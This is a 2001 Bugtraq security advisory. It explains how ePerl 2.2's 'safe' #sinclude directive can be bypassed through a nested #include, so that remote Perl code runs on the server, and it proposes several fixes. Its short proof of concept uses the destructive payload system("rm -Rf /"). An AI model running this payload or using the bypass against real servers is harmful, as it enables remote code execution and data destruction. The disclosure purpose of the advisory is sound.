From bugtraq-return-541-mailing_list=myrealbox.com@securityfocus.com Thu Jun 21 23:19:46 2001 Return-Path: Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm List-Id: List-Post: List-Help: List-Unsubscribe: List-Subscribe: Delivered-To: mailing list bugtraq@securityfocus.com Delivered-To: moderator for bugtraq@securityfocus.com Received: (qmail 20077 invoked from network); 22 Jun 2001 04:27:49 -0000 From: David Madison <******@*******.com> Subject: bugtraq submission To: bugtraq@securityfocus.com Date: Thu, 21 Jun 2001 21:27:30 -0700 (PDT) All versions of the C version of ePerl 2.2 (up to current version 2.2.14) http://www.engelschall.com/sw/eperl/ Severity: Low Systems Affected: Unix systems Description: ePerl allows the user to embed perl code (specified inside ePerl delimiters) in HTML. ePerl has the ability to "safely" include untrusted files using the #sinclude directive. The untrusted file is not supposed to be able to specify any perl code to run, but this safe mode can easily be circumvented. The #sinclude directive operates by replacing the ePerl delimiters on the untrusted file so that they are ignored during parsing. The problem is that it still follows the preprocessing directives, so the untrusted file can then include another file while not in safe mode. As an example, consider two files, one that we own and one that we sinclude: File my_machine.html: ------------------------- Here is information from some other source: #sinclude http://lala.com/untrusted.html ------------------------- Now, #sinclude is supposed to keep lala.com from putting any perl code in untrusted.html, but they still can, because they can do this: File http://lala.com/untrusted.html: ------------------------- Perl code in this file is ignored, but: #include http://lala.com/untrusted2.html ------------------------- File http://lala.com/untrusted2.html: ------------------------- Any perl code we want... <: system("rm -Rf /"); :> ------------------------- Then when someone views the file my_machine.html, ePerl will run the malicious code on the machine with the ePerl server. Possible Fixes: 1) Temporarily turn off preprocessing when you enter an #sinclude file. 2) Convert all #includes into #sincludes inside an #include file 3) Move the delimiter replacement *into* the ePerl_PP_Process call as opposed to after it - in addition, ignore #if/elsif/else/endif and finally convert all #include to #sinclude 4) Use the smaller and more secure ePerl replacement that's written in perl: http://MarginalHacks.com/Hacks/ePerl/